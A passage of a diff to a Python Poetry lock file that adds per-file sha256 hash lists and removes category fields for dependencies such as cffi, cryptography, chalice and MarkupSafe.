"sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762"}, + {file = "cffi-1.14.6-cp37-cp37m-win32.whl", hash = "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771"}, + {file = "cffi-1.14.6-cp37-cp37m-win_amd64.whl", hash = "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a"}, + {file = "cffi-1.14.6-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0"}, + {file = "cffi-1.14.6-cp38-cp38-manylinux1_i686.whl", hash = "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e"}, + {file = "cffi-1.14.6-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346"}, + {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc"}, + {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd"}, + {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc"}, + {file = "cffi-1.14.6-cp38-cp38-win32.whl", hash = "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548"}, + {file = "cffi-1.14.6-cp38-cp38-win_amd64.whl", hash = "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156"}, + {file = "cffi-1.14.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d"}, + {file = "cffi-1.14.6-cp39-cp39-manylinux1_i686.whl", hash = "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e"}, + {file = "cffi-1.14.6-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c"}, + {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202"}, + {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f"}, + {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87"}, + {file = "cffi-1.14.6-cp39-cp39-win32.whl", hash = "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728"}, + {file = "cffi-1.14.6-cp39-cp39-win_amd64.whl", hash = "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2"}, + {file = "cffi-1.14.6.tar.gz", hash = "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd"}, +] [package.dependencies] pycparser = "*" @@ -415,9 +493,12 @@ pycparser = "*" name = "chalice" version = "1.24.1" description = "Microframework" -category = "main" optional = false python-versions = "*" +files = [ + {file = "chalice-1.24.1-py3-none-any.whl", hash = "sha256:2d0e7f441b4e98c744edbe3ef7a6cd642703257ae6c839198e1160dbc4233709"}, + {file = "chalice-1.24.1.tar.gz", hash = "sha256:cc61396dd0d7ffb5f773e879cce6ed5e5802a7d919c874a61418a1f7a7434eaa"}, +] [package.dependencies] attrs = ">=19.3.0,<20.4.0" @@ -440,9 +521,12 @@ event-file-poller = ["watchdog (==0.9.0)"] name = "charset-normalizer" version = "2.0.4" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -category = "main" optional = false python-versions = ">=3.5.0" +files = [ + {file = "charset-normalizer-2.0.4.tar.gz", hash = "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3"}, + {file = "charset_normalizer-2.0.4-py3-none-any.whl", hash = "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b"}, +] [package.extras] unicode-backport = ["unicodedata2"] @@ -451,31 +535,52 @@ unicode-backport = ["unicodedata2"] name = "click" version = "7.1.2" description = "Composable command line interface toolkit" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "click-7.1.2-py2.py3-none-any.whl", hash = "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc"}, + {file = "click-7.1.2.tar.gz", hash = "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"}, +] [[package]] name = "colorama" version = "0.4.3" description = "Cross-platform colored terminal text." -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "colorama-0.4.3-py2.py3-none-any.whl", hash = "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff"}, + {file = "colorama-0.4.3.tar.gz", hash = "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"}, +] [[package]] name = "cryptography" version = "3.4.7" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -category = "main" optional = false python-versions = ">=3.6" +files = [ + {file = "cryptography-3.4.7-cp36-abi3-macosx_10_10_x86_64.whl", hash = "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1"}, + {file = "cryptography-3.4.7-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250"}, + {file = "cryptography-3.4.7-cp36-abi3-manylinux2010_x86_64.whl", hash = "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2"}, + {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_aarch64.whl", hash = "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6"}, + {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_x86_64.whl", hash = "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959"}, + {file = "cryptography-3.4.7-cp36-abi3-win32.whl", hash = "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d"}, + {file = "cryptography-3.4.7-cp36-abi3-win_amd64.whl", hash = "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca"}, + {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873"}, + {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2014_x86_64.whl", hash = "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d"}, + {file = "cryptography-3.4.7-pp37-pypy37_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586"}, + {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177"}, + {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2014_x86_64.whl", hash = "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9"}, + {file = "cryptography-3.4.7-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3"}, + {file = "cryptography-3.4.7.tar.gz", hash = "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713"}, +] [package.dependencies] cffi = ">=1.12" [package.extras] -docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx_rtd_theme"] +docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx-rtd-theme"] docstest = ["doc8", "pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] pep8test = ["black", "flake8", "flake8-import-order", "pep8-naming"] sdist = ["setuptools-rust (>=0.11.4)"] @@ -486,17 +591,24 @@ test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.0)" name = "docutils" version = "0.15.2" description = "Docutils -- Python Documentation Utilities" -category = "main" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "docutils-0.15.2-py2-none-any.whl", hash = "sha256:9e4d7ecfc600058e07ba661411a2b7de2fd0fafa17d1a7f7361cd47b1175c827"}, + {file = "docutils-0.15.2-py3-none-any.whl", hash = "sha256:6c4f696463b79f1fb8ba0c594b63840ebd41f059e92b31957c46b74a4599b6d0"}, + {file = "docutils-0.15.2.tar.gz", hash = "sha256:a2aeea129088da402665e92e0b25b04b073c04b2dce4ab65caaa38b7ce2e1a99"}, +] [[package]] name = "dsnap" version = "1.0.0" description = "Utility for downloading EBS snapshots using the EBS Direct API's" -category = "main" optional = false python-versions = ">=3.6,<4.0" +files = [ + {file = "dsnap-1.0.0-py3-none-any.whl", hash = "sha256:9009a98a70770259d18cae88d806a5baf7cd80ecf2ee148888831f0ba28b8f24"}, + {file = "dsnap-1.0.0.tar.gz", hash = "sha256:fc11265438fb5a0af79f02f276468e75b0b36f49d545c85454831c2e5698e035"}, +] [package.dependencies] boto3 = ">=1.16.0,<2.0.0" @@ -509,9 +621,12 @@ cli = ["typer (>=0.3.2,<0.4.0)"] name = "ecdsa" version = "0.18.0" description = "ECDSA cryptographic signature library (pure python)" -category = "main" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "ecdsa-0.18.0-py2.py3-none-any.whl", hash = "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd"}, + {file = "ecdsa-0.18.0.tar.gz", hash = "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49"}, +] [package.dependencies] six = ">=1.9.0" @@ -524,9 +639,12 @@ gmpy2 = ["gmpy2"] name = "envs" version = "1.4" description = "Easy access of environment variables from Python with support for strings, booleans, list, tuples, and dicts." -category = "main" optional = false python-versions = ">=3.6,<4.0" +files = [ + {file = "envs-1.4-py3-none-any.whl", hash = "sha256:4a1fcf85e4d4443e77c348ff7cdd3bfc4c0178b181d447057de342e4172e5ed1"}, + {file = "envs-1.4.tar.gz", hash = "sha256:9d8435c6985d1cdd68299e04c58e2bdb8ae6cf66b2596a8079e6f9a93f2a0398"}, +] [package.extras] cli = ["Jinja2[cli] (>=3.0.3,<4.0.0)", "click[cli] (>=8.0.3,<9.0.0)", "terminaltables[cli] (>=3.1.10,<4.0.0)"] @@ -535,9 +653,12 @@ cli = ["Jinja2[cli] (>=3.0.3,<4.0.0)", "click[cli] (>=8.0.3,<9.0.0)", "terminalt name = "flake8" version = "3.9.2" description = "the modular source code checker: pep8 pyflakes and co" -category = "dev" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "flake8-3.9.2-py2.py3-none-any.whl", hash = "sha256:bf8fd333346d844f616e8d47905ef3a3384edae6b4e9beb0c5101e25e3110907"}, + {file = "flake8-3.9.2.tar.gz", hash = "sha256:07528381786f2a6237b061f6e96610a4167b226cb926e2aa2b6b1d78057c576b"}, +] [package.dependencies] importlib-metadata = {version = "*", markers = "python_version < \"3.8\""} @@ -549,9 +670,12 @@ pyflakes = ">=2.3.0,<2.4.0" name = "freezegun" version = "1.1.0" description = "Let your Python tests travel through time" -category = "dev" optional = false python-versions = ">=3.5" +files = [ + {file = "freezegun-1.1.0-py2.py3-none-any.whl", hash = "sha256:2ae695f7eb96c62529f03a038461afe3c692db3465e215355e1bb4b0ab408712"}, + {file = "freezegun-1.1.0.tar.gz", hash = "sha256:177f9dd59861d871e27a484c3332f35a6e3f5d14626f2bf91be37891f18927f3"}, +] [package.dependencies] python-dateutil = ">=2.7" @@ -560,17 +684,23 @@ python-dateutil = ">=2.7" name = "idna" version = "3.2" description = "Internationalized Domain Names in Applications (IDNA)" -category = "main" optional = false python-versions = ">=3.5" +files = [ + {file = "idna-3.2-py3-none-any.whl", hash = "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a"}, + {file = "idna-3.2.tar.gz", hash = "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3"}, +] [[package]] name = "importlib-metadata" version = "4.6.3" description = "Read metadata from Python packages" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "importlib_metadata-4.6.3-py3-none-any.whl", hash = "sha256:51c6635429c77cf1ae634c997ff9e53ca3438b495f10a55ba28594dd69764a8b"}, + {file = "importlib_metadata-4.6.3.tar.gz", hash = "sha256:0645585859e9a6689c523927a5032f2ba5919f1f7d0e84bd4533312320de1ff9"}, +] [package.dependencies] typing-extensions = {version = ">=3.6.4", markers = "python_version < \"3.8\""} @@ -585,17 +715,23 @@ testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pep517", name = "iniconfig" version = "1.1.1" description = "iniconfig: brain-dead simple config-ini parsing" -category = "dev" optional = false python-versions = "*" +files = [ + {file = "iniconfig-1.1.1-py2.py3-none-any.whl", hash = "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3"}, + {file = "iniconfig-1.1.1.tar.gz", hash = "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"}, +] [[package]] name = "inquirer" version = "2.7.0" description = "Collection of common interactive command line user interfaces, based on Inquirer.js" -category = "main" optional = false python-versions = "*" +files = [ + {file = "inquirer-2.7.0-py2.py3-none-any.whl", hash = "sha256:d15e15de1ad5696f1967e7a23d8e2fce69d2e41a70b008948d676881ed94c3a5"}, + {file = "inquirer-2.7.0.tar.gz", hash = "sha256:e819188de0ca7985a99c282176c6f50fb08b0d33867fd1965d3f3e97d6c8f83f"}, +] [package.dependencies] blessed = "1.17.6" @@ -606,9 +742,12 @@ readchar = "2.0.1" name = "jinja2" version = "3.0.1" description = "A very fast and expressive template engine." -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "Jinja2-3.0.1-py3-none-any.whl", hash = "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4"}, + {file = "Jinja2-3.0.1.tar.gz", hash = "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4"}, +] [package.dependencies] MarkupSafe = ">=2.0" @@ -620,9 +759,12 @@ i18n = ["Babel (>=2.7)"] name = "jinxed" version = "1.1.0" description = "Jinxed Terminal Library" -category = "main" optional = false python-versions = "*" +files = [ + {file = "jinxed-1.1.0-py2.py3-none-any.whl", hash = "sha256:6a61ccf963c16aa885304f27e6e5693783676897cea0c7f223270c8b8e78baf8"}, + {file = "jinxed-1.1.0.tar.gz", hash = "sha256:d8f1731f134e9e6b04d95095845ae6c10eb15cb223a5f0cabdea87d4a279c305"}, +] [package.dependencies] ansicon = {version = "*", markers = "platform_system == \"Windows\""} @@ -631,41 +773,123 @@ ansicon = {version = "*", markers = "platform_system == \"Windows\""} name = "jmespath" version = "0.10.0" description = "JSON Matching Expressions" -category = "main" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "jmespath-0.10.0-py2.py3-none-any.whl", hash = "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f"}, + {file = "jmespath-0.10.0.tar.gz", hash = "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"}, +] [[package]] name = "markupsafe" version = "2.0.1" description = "Safely add untrusted strings to HTML/XML markup." -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-win32.whl", hash = "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28"}, + {file = "MarkupSafe-2.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-win32.whl", hash = "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d"}, + {file = "MarkupSafe-2.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-win32.whl", hash = "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415"}, + {file = "MarkupSafe-2.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_i686.whl", hash = "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-win32.whl", hash = "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64"}, + {file = "MarkupSafe-2.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_i686.whl", hash = "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047"}, + {file = "MarkupSafe-2.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e"}, + {file = 